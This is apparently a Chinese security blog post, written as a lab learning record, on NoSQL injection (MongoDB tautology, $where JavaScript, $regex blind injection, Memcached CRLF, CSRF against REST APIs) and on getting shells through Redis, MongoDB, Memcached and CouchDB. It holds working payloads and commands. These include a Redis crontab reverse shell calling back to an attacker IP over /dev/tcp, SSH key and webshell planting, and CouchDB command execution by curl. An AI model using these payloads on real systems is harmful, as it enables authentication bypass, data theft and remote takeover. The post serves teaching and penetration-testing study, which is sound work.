<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    關于NoSQL注入的學習記錄

    VSole2021-10-08 14:22:48

    01 NoSQL數據庫介紹:

    NoSQL,泛指非關系型的數據庫。NoSQL有時也稱作Not Only SQL的縮寫,是對不同于傳統的關系型數據庫的數據庫管理系統的統稱。NoSQL用于超大規模數據的存儲。(例如谷歌或Facebook每天為他們的用戶收集萬億比特的數據)。這些類型的數據存儲不需要固定的模式,無需多余操作就可以橫向擴展。

    分類

    Examples舉例

    典型應用場景

    數據模型

    優點

    缺點

    鍵值(key-value)

    Tokyo Cabinet/Tyrant, Redis, Voldemort, Oracle BDB

    內容緩存,主要用于處理大量數據的高訪問負載,也用于一些日志系統等等。

    Key 指向 Value 的鍵值對,通常用hash table來實現

    查找速度快

    數據無結構化,通常只被當作字符串或者二進制數據

    列存儲數據庫

    Cassandra, HBase, Riak

    分布式的文件系統

    以列簇式存儲,將同一列數據存在一起

    查找速度快,可擴展性強,更容易進行分布式擴展

    功能相對局限

    文檔型數據庫

    CouchDB, MongoDb

    Web應用(與Key-Value類似,Value是結構化的,不同的是數據庫能夠了解Value的內容)

    Key-Value對應的鍵值對,Value為結構化數據

    數據結構要求不嚴格,表結構可變,不需要像關系型數據庫一樣需要預先定義表結構

    查詢性能不高,而且缺乏統一的查詢語法。

    圖形(Graph)數據庫

    Neo4J, InfoGrid, Infinite Graph

    社交網絡,推薦系統等。專注于構建關系圖譜

    圖結構

    利用圖結構相關算法。比如最短路徑尋址,N度關系查找等

    很多時候需要對整個圖做計算才能得出需要的信息,而且這種結構不太好做分布式的集群方案。

    02 NoSQL數據庫注入

    1.原理

    NoSQL數據庫提供比傳統SQL數據庫更寬松的一致性限制。通過減少關系約束和一致性檢查,NoSQL數據庫提供了更好的性能和擴展性。然而,即使這些數據庫沒有使用傳統的SQL語法,它們仍然可能很容易的受到注入攻擊。由于這些NoSQL注入攻擊可以在程序語言中執行,而不是在聲明式 SQL語言中執行,所以潛在影響要大于傳統SQL注入。NoSQL數據庫的調用是使用應用程序的編程語言編寫的,過濾掉常見的HTML特殊字符,如<>&;不會阻止針對NoSQL的攻擊。

    2.分類
    1)重言式

    重言式又稱為永真式。就是構造注入代碼使表達式的結果永遠判定為真,從而繞過認證。

    2)聯合查詢

    聯合查詢是一種眾所周知的SQL注入技術,攻擊者利用一個脆弱的參數去改變給定查詢返回的數據集。聯合查詢最常用的用法是繞過認證頁面獲取數據。

    3)JavaScript注入

    NoSQL數據庫可以在數據庫中執行JavaScript語句,MongoDB使用 $where操作符就可以執行JavaScript語句,當用戶構造惡意輸入作為查詢語句就可以實現注入。

    4)盲注

    與SQL注入盲注類似,都是根據頁面返回的結果來判斷是否存在注入。

    5)背負式查詢

    攻擊者通過利用轉義特定字符(比如像回車和換行之類的結束符)插入由數據庫額外執行的查詢,這樣就可以執行任意代碼了。

    6)跨域違規

    攻擊者通過調用暴露的HTTP REST API的模塊其他域攻擊數據庫。在跨域攻擊中,攻擊者利用合法用戶和他們的網頁瀏覽器執行有害的操作。

    3.實驗演示

    實驗環境:

    10.10.19.100:80端口映射到66.28.5.2:80

    攻擊機(win10):192.168.2.100

    目標機(win7):10.10.19.100(apache2.4.18+php5.3+mogodb3.2.22)

    拓撲:


    mongodb基礎語法:

    1.show dbs //查看所有數據庫
    2.use test //創建test數據庫(創建后要插入數據才會顯示)
    3.db.passwd.insert({'name':'admin','password':'123456'}) //創建集合passwd并插入數據
    4.db.passwd.find() //查詢集合所有數據
    

    常用操作符:

    $ne:匹配字段值不等于指定值的文檔,包括沒有這個字段的文檔
    $or :文檔至少滿足其中的一個表達式
    $eq:匹配字段值等于指定值的文檔
    $where :可以通過js表達式或js函數來查詢文檔
    $regex :正則表達式可以匹配到的文檔
    $gt:匹配字段值大于指定值的文檔
    $gte:匹配字段值大于等于指定值的文檔
    $lt:匹配字段值小于指定值的文檔
    $lte:匹配字段值小于等于指定值的文檔
    $in :匹配字段值等于指定數組中的任何值
    $nin :字段值不在指定數組或者不存在
    $not :字段值不匹配表達式或者字段值不存在
    $nor:字段值不匹配所有的表達式的文檔,包括那些不包含這些字段的文檔
    $exists:<boolean> 等于true時,字段存在,包括字段值為null的文檔
    $type:匹配字段值為指定數據類型的文檔
    $mod :匹配字段值被除有指定的余數的文檔
    $text :針對創建了全文索引的字段進行文本搜索
    
    1)重言式

    測試使用操作符$ne進行演示,將與指定值不相等的值查詢出來。

    先往mongodb插入幾條數據以便之后操作:

    測試代碼:
    <?php
    $connect = new Mongo();   //連接數據庫
    $db = $connect -> test;   //選擇數據庫
    $collections = $db -> passwd;   //選擇集合
    $username = $_GET['username'];
    $password = $_GET['password'];
    //查詢數據
    $cursor = $collections -> find(array("name" => $username,"passwd" => $password));
    $result = iterator_to_array($cursor);
    if (count($result)>0) {
    foreach($result as $value){
    echo "username: ".$value['name'].'<-->'."password: ".$value['passwd'].'<br>';
    }
    }
    ?>
    

    正常查詢,傳入username=admin&password=123456

    傳入username[$ne]=a&password[$ne]=a,將和指定值不相等的值查詢出來。


    2)聯合查詢

    聯合查詢是一種眾所周知的SQL注入技術,攻擊者利用一個脆弱的參數去改變給定查詢返回的數據集。聯合查詢最常用的用法是繞過認證頁面獲取數據。但是現在無論是PHP的MongoDB driver還是node.js的mongoose都要求查詢條件必須是一個數組或者對象了,因此簡單演示一下聯合查詢的用法。

    查詢代碼:
    string query = "{ name:'" + post_username +"',passwd:'" +post_password+'"}"
    
    正常查詢的語句:
    { name:'admin',passwd:'123456'}
    
    構造插入語句:
    {'name':'admin','$or':[{},{'a':'a','passwd':''}]}
    

    不需要密碼,將用戶名為admin的數據查詢出來。


    3)JavaScript注入

    mongodb中使用$where操作符執行javascript語句進行查詢

    測試代碼:
    <?php
    $connect = new Mongo;
    //構造javascript查詢語句
    $query_body =array(
    '$where'=>"function q() {
      var username,password;
      username = '".$_REQUEST["username"]."';
      password = '".$_REQUEST["password"]."';
        if(username == 'admin'&&password == '123456')
            return true;
        else{
            return false;
            }
        }
    ");
    $db = $connect -> test;
    $collections = $db -> passwd;
    $cursor = $collections -> find($query_body);
    $result = iterator_to_array($cursor);
    if(count($result)>0){
    echo "ok";
    }else{
    echo "no";
    }
    ?>
    

    當查詢的用戶名和密碼存在時,返回true,結果為ok。


    當查詢的用戶名和密碼不存在時,返回false,結果為no。

    構造注入代碼,使結果查詢永遠為真:
    payload:
    username=a&password=a';return true;'
    代碼變為:
    '$where'=>"function q() {
      var username,password;
      username = '".$_REQUEST["username"]."';
      password = '".$_REQUEST["password"]."';
      return true;'';
        if(username == 'admin'&&password == '123456')
            return true;
        else{
            return false;
            }
    


    在數據庫中測試:


    4)盲注

    NoSQL的盲注和SQL注入盲注類似,都是根據頁面返回的真假判斷是否存在注入。這里使用$eq操作符和$regex操作符進行盲注。

    測試代碼:
    <?php
    $connect = new Mongo();
    $db = $connect->test;
    $collections = $db->passwd;
    $username = $_REQUEST['username'];
    $password = $_REQUEST['password'];
    
    if (is_array($username)) {
    $data = array(
    'name'=>$username);
    $cursor = $collections->find($data);
    $result=iterator_to_array($cursor);
    if (count($result)>0) {
    $data1 = array('name'=>$username,'passwd'=>$password);
    $cursor1 = $collections->find($data1);
    $result1 = iterator_to_array($cursor1);
    if(count($result1)>0){
    echo '用戶名和密碼都正確';
    }else{
    echo '用戶名正確,密碼錯誤';
    }}else{
    echo '用戶名錯誤';
    }
    }else{
    if ($username == 'admin'&&$password=='123456') {
    echo 'loging success';
    }else{
    echo 'login failed';
    }
    }
    ?>
    

    用戶名和密碼錯誤時,顯示登陸失敗。


    使用$eq判斷正確的用戶名,輸入username[$eq]=a&password=a顯示用戶名錯誤。

    輸入username[$eq]=admin&password=a,當用戶存在時顯示用戶名正確,密碼錯誤(這里可以通過爆破出用戶名)。

    判斷出用戶名后使用$regex獲取密碼:

    payload:
    username[$eq]=admin&password[$regex]=.{7}     //判斷密碼長度為7位返回錯誤
    username[$eq]=admin&password[$regex]=.{6}     //判斷密碼長度位6位返回正確
    username[$eq]=admin&password[$regex]=a.{5}    //判斷第一位位a返回錯誤
    username[$eq]=admin&password[$regex]=a.{5}    //判斷第一位為1返回正確
    以此類推,最終查詢出密碼
    

    使用數據庫查詢:

    5)背負式查詢

    將鍵值插入Memcached數據庫的的一種注入,由于未找到相關演示案例,此處簡單介紹一下相關操作:

    語法:

    set <KEY> <FLAG> <EXPIRE_TIME> <LENGTH>,
    

    當PHP配置的函數被調用時,接收參數如下:

    $memcached->set('key', 'value');
    

    該驅動程序未能針對帶有回車\r(0x0D)和換行的\n(0x0A)的ASCII碼采取措施,導致攻擊者有機會注入包含有鍵參數的新命令行和其他非計劃內的命令到緩存中。如下代碼,其中的$param是用戶輸入并作為鍵來作用:

    $memcached=new Memcached();
    $memcached->addServer('localhost',11211);
    $memcached->set($param, "some value");
    

    攻擊者可以提供以下輸入進行注入攻擊:

    "key1 0 3600 4\r\nabcd\r\nset key2 0 3600 4\r\ninject\r\n"
    

    增加到數據庫中的第一個鍵是具有”some value”值的key1。攻擊者可以增加其他的、非計劃內的鍵到數據庫中,即帶有”inject”值的key2。這種注入也可以發生在get命令上。看一下Memcached主頁上的示例,它以這三行開頭:

    Function get_foo(foo_id) foo = memcached_get("foo: " . foo_id) return foo if defined foo
    

    這個示例展示了Memcached的典型用法,在處理輸入之前首先檢查在數據庫中是不是已經存在了。假設用類似代碼檢查從用戶那里接收的認證令牌,驗證他們是不是登錄過了,那么就可以通過傳遞以下作為令牌的字符串來利用它:

    "random_token\r\nset my_crafted_token 0 3600 4\r\nroot\r\n"
    

    當這個字符串作為令牌傳遞時,數據庫將檢查這個”random_token”是否存在,然后將添加一個具有”root”值的”my_crafted_token”。之后,攻擊者就可以發送具有root身份的my_crafted_token令牌了。可以被這項技術攻擊的其他指令還有:

    incr <Key> <Amount>
    decr <Key> <Amount>
    delete <Key>
    

    在此,incr用于增加一個鍵的值,decr用于縮減一個鍵的值,以及delete用于刪除一個鍵。攻擊者也可以用像set和get函數一樣的手段來使用帶來自己鍵參數的這三個函數。攻擊者可以使用多條目函數進行同樣的注入:deleteMulti、getMulti和setMulti,其中每一個鍵字段都可以被注入。回車換行注入可以被用于連接多個get請求。在一項我們進行的測試中,包括原始get在內最多可以連接17條。這樣注入返回的結果是第一個鍵及其相應的值。

    6)跨域違規

    NoSQL數據庫往往會提供HTTP REST API接口,以便客戶端進行數據庫查詢,如MongoDB、CouchDB、Hbase等。但這樣做也伴隨著安全風險,攻擊者可以利用REST API進行跨站請求偽造,讓攻擊者可以繞過防火墻等防御設備。

    HTTP REST API是NoSQL數據庫中的一個流行模塊,然而,它們引入了一類新的漏洞,它甚至能讓攻擊者從其他域攻擊數據庫。在跨域攻擊中,攻擊者利用合法用戶和他們的網頁瀏覽器執行有害的操作。是一種跨站請求偽造(CSRF)攻擊形式的違規行為,在此網站信任的用戶瀏覽器將被利用在NoSQL數據庫上執行非法操作。通過把HTML格式的代碼注入到有漏洞的網站或者欺騙用戶進入到攻擊者自己的網站上,攻擊者可以在目標數據庫上執行post動作,從而破壞數據庫。

    現在讓我們看看CSRF攻擊是如何使用這個函數增加新文件到管理員集合中的,從而在hr數據庫(它被認為處于安全的內部網絡中)中增加了一個新的管理員用戶,如下圖所示。若想攻擊成功,必須要滿足幾個條件。首先,攻擊者必須能操作一個網站,要么是他們自己的網站,要么是利用不安全的網站。攻擊在該網站放置一個HTML表單以及一段將自動提交該表單的腳本,比如:

    <form action="http://safe.internal.db/hr/admins/_insert" method="POST" name="csrf">
    <input type="text" name="docs" value=" [{"username":attacker}]" /></form>
    <script> document.forms[0].submit(); </script>
    

    藏在防火墻后的內部網絡內的用戶被欺騙訪問一個惡意外部網頁,這將導致在內部網絡的NoSQL數據庫的 REST API 上執行非預期的查詢。

    第二,攻擊者必須通過網絡誘騙或感染用戶經常訪問的網站欺騙用戶進入被感染的網站。最后,用戶必須許可訪問Mongoose HTTP接口。

    用這種方式,攻擊者不必進入內部網絡即可執行操作,在本例中,是插入新數據到位于內部網絡中的數據庫中。這種攻擊執行很簡單,但要求攻擊者要提前偵察去識別主機、數據庫名稱,等等。

    三、NoSQL數據庫GETSHELL方法

    1.Redis數據庫

    實驗環境:

    10.10.19.50:6379端口映射到66.28.5.2:6379

    攻擊機(kali):66.28.6.10

    目標機(centos7):10.10.19.50

    1)crontab計劃任務

    先在本機設置監聽:
    nc -lvvp 6379
    連接目標執行如下命令,等待反彈shell:
    66.28.5.2:6379> set xx "\n* * * * * bash -i >& /dev/tcp/66.28.6.10/6379 0>&1\n"
    OK
    66.28.5.2:6379> config set dir /var/spool/cron/
    OK
    66.28.5.2:6379> config set dbfilename root
    OK
    66.28.5.2:6379> save
    OK
    
    


    2)主從復制RCE

    漏洞存在于4.x、5.x版本中,Redis提供了主從模式,主從模式指使用一個redis作為主機,其他的作為備份機,主機從機數據都是一樣的,從機只負責讀,主機只負責寫。在Reids 4.x之后,通過外部拓展,可以實現在Redis中實現一個新的Redis命令,構造惡意.so文件。在兩個Redis實例設置主從模式的時候,Redis的主機實例可以通過FULLRESYNC同步文件到從機上。然后在從機上加載惡意so文件,即可執行命令。

    1.so文件:git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand(下載后進入目錄make,獲取惡意so文件)
    2.python腳本:git clone https://github.com/Ridter/redis-rce.git
    3.
    4.執行命令:python3 redis-rce.py -r 66.28.5.2 -p 6379 -L 66.28.6.10 -f module.so
    

    3)ssh-keygen

    攻擊機執行代碼:
    生成密鑰:
    ssh-keygen -t rsa
    cd /root/.ssh
    (echo -e "\n"; cat id_rsa.pub; echo -e "\n") > key.txt
    設置值:
    cat key.txt | redis-cli -h 66.28.5.2 -x set a
    連接redis執行代碼:
    config set dir /root/.ssh
    config set dbfilename "authorized_keys"
    save
    


    4)寫webshell

    連接redis,執行如下代碼:
    config set dir /var/www/html/
    config set dbfilename shell.php
    set x "<?php phpinfo();?>"
    save
    

    目標機查看已寫入shell文件。

    連接查看:

    2.MongoDB未授權訪問

    3.0之前版本的MongoDB,默認監聽在0.0.0.0,3.0及之后版本默認監聽在127.0.0.1;3.0之前版本,如未添加用戶管理員賬號及數據庫賬號,使用–auth參數啟動時,在本地通過127.0.0.1仍可無需賬號密碼登陸訪問數據庫,遠程訪問則提示需認證;3.0及之后版本,使用–auth參數啟動后,無賬號則本地和遠程均無任何數據庫訪問權限。

    環境:

    10.10.19.100:27017端口映射到66.28.5.2:27017

    攻擊機(win10):192.168.2.100

    目標機(win7): 10.10.19.100

    使用工具不需要驗證可直接連接數據庫:

    3.memcached未授權訪問

    環境:

    10.10.19.50:11211端口映射到66.28.5.2:11211

    目標centos:10.10.19.50

    攻擊win10: 192.168.0.100

    安裝服務:
    sudo yum install memcached
    啟動服務
    sudo memcached -d -u root -p 11211 -m 128
    

    查看服務已開啟:

    telnet可連接:telnet 66.28.5.2 11211
    

    4.couchdb未授權訪問

    實驗環境:

    10.10.19.50:5984端口映射到66.28.5.2:5984

    攻擊機( centos):66.28.6.10

    目標機(kali):10.10.19.50

    出現如下頁面說明couchdb安裝成功:

    訪問_config出現如下頁面說明漏洞存在:

    訪問_utils直接與數據庫進行交互:

    輸入以下命令可執行任意命令:
    新建一個執行命令配置”
    curl -X PUT 'http://66.28.5.2:5984/_config/query_servers/cmd' -d '"whoami > /tmp/success"'
    新建表:
    curl -X PUT 'http://66.28.5.2:5984/vultest'
    新建庫,插入數據:
    curl -X PUT 'http://66.28.5.2:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
    調用query_servers處理數據:
    curl -X POST 'http://66.28.5.2:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
    


    已建立新的庫vultest:

    在靶機中查看命令執行成功:

    04 總結

    本文介紹了常見的幾種NOSQL數據注入方式和GETSHELL方法,希望對大家能有所幫助。其中背負式查詢和跨域違規兩種注入方式未能完成復現,摘錄了相關文章,原文鏈接詳見參考鏈接。

    nosqlmemcached命令
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    NoSQL,泛指非關系型的數據庫。NoSQL有時也稱作Not Only SQL的縮寫,是對不同于傳統的關系型數據庫的數據庫管理系統的統稱。NoSQL用于超大規模數據的存儲。(例如谷歌或Facebook每天為他們的用戶收集萬億比特的數據)。這些類型的數據存儲不需要固定的模式,無需多余操作就可以橫向擴展。 分類
    NoSQL注入漏洞是使用NoSQL數據庫的Web應用程序中的錯誤。此Web應用程序安全問題使惡意方可以繞過身份驗證,提取數據,修改數據,甚至獲得對應用程序的完全控制。NoSQL注入攻擊是缺乏數據清理的結果。 與傳統的SQL注...
    RedisJSON 橫空出世
    2021-12-21 16:18:23
    近期官網給出了RedisJson(RedisSearch)的性能測試報告,可謂碾壓其他NoSQL,下面是核心的報告內容,先上結論: 對于隔離寫入(isolated writes),RedisJSON 比 MongoDB 快 5.4 倍,比 ElasticSearch 快 200 倍以上。 對于隔離讀取(isolated reads),RedisJSON 比 MongoDB 快 12.7 倍,比
    2022年4月20日,Apache發布安全公告,修復了一個 Apache APISIX中的信息泄露漏洞。漏洞編號: CVE-2022-29266,漏洞威脅等級:嚴重。
    日前,JFrog的研究人員披露在Apache Cassandra數據庫中發現高嚴重性安全漏洞,如果不加以解決,該漏洞可幫助惡意人員在受影響的計算設備上獲得遠程代碼執行權限。
    Sirius是一款功能強大的通用漏洞掃描工具,該工具可以幫助廣大研究人員在大多數場景下識別和驗證應用程序中存在的安全漏洞。
    我們最近在 Azure Cosmos DB 上發現了一個非常重要的漏洞,其中 Cosmos DB Notebooks 中缺少身份驗證檢查。我們將其命名為“CosMiss”。我們要感謝 Microsoft 的合作以及他們為保護此漏洞而采取的快速行動。Jupyter Notebooks 內置在 Azure Cosmos DB 中,供開發人員用于執行常見任務,例如數據清理、數據探索、數據轉換和機器學習。據我們所知,獲取 forwardingId 的唯一方法就是以經過身份驗證的用戶身份打開 Notebook。此外,客戶使用此功能來檢查來自 Cosmos DB 的數據以及可以使用其 API 集成的其他數據源。
    劉弘利指出,數據作為生產要素,其安全性、重要性愈發明顯。劉弘利數據安全考慮數據資產的保護和數據治理。綠盟科技漏洞全生命周期的解決方案以漏洞優先級為核心,整合多源脆弱性數據,聚焦關鍵風險,量化風險指標,幫助客戶建立快速響應機制,及時有效完成漏洞修補工作,促進漏洞的簡捷、高效、安全運營。為興業銀行的漏洞管理流程提供快速響應、有序修補、持續優化的管理能力。
    不受信任的數據被注入 Web 應用程序,并誘使該應用程序執行命令和訪問數據。XSS 是最普遍的安全風險之一。正確轉義所有不受信任的數據并包括白名單輸入驗證,維護更新 Web 應用程序。在 DDoS 攻擊期間,攻擊者用虛假流量淹沒接入路由器,直到系統過載并失敗。DDoS 攻擊涉及來自許多不同來源的協同攻擊。緩解 DDoS 攻擊的直接方法是監控傳入流量。
    近日,安識科技A-Team團隊監測到一則 Apache CouchDB 組件存在遠程代碼執行漏洞的信息,漏洞編號:CVE-2022-24706,漏洞威脅等級:高危。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类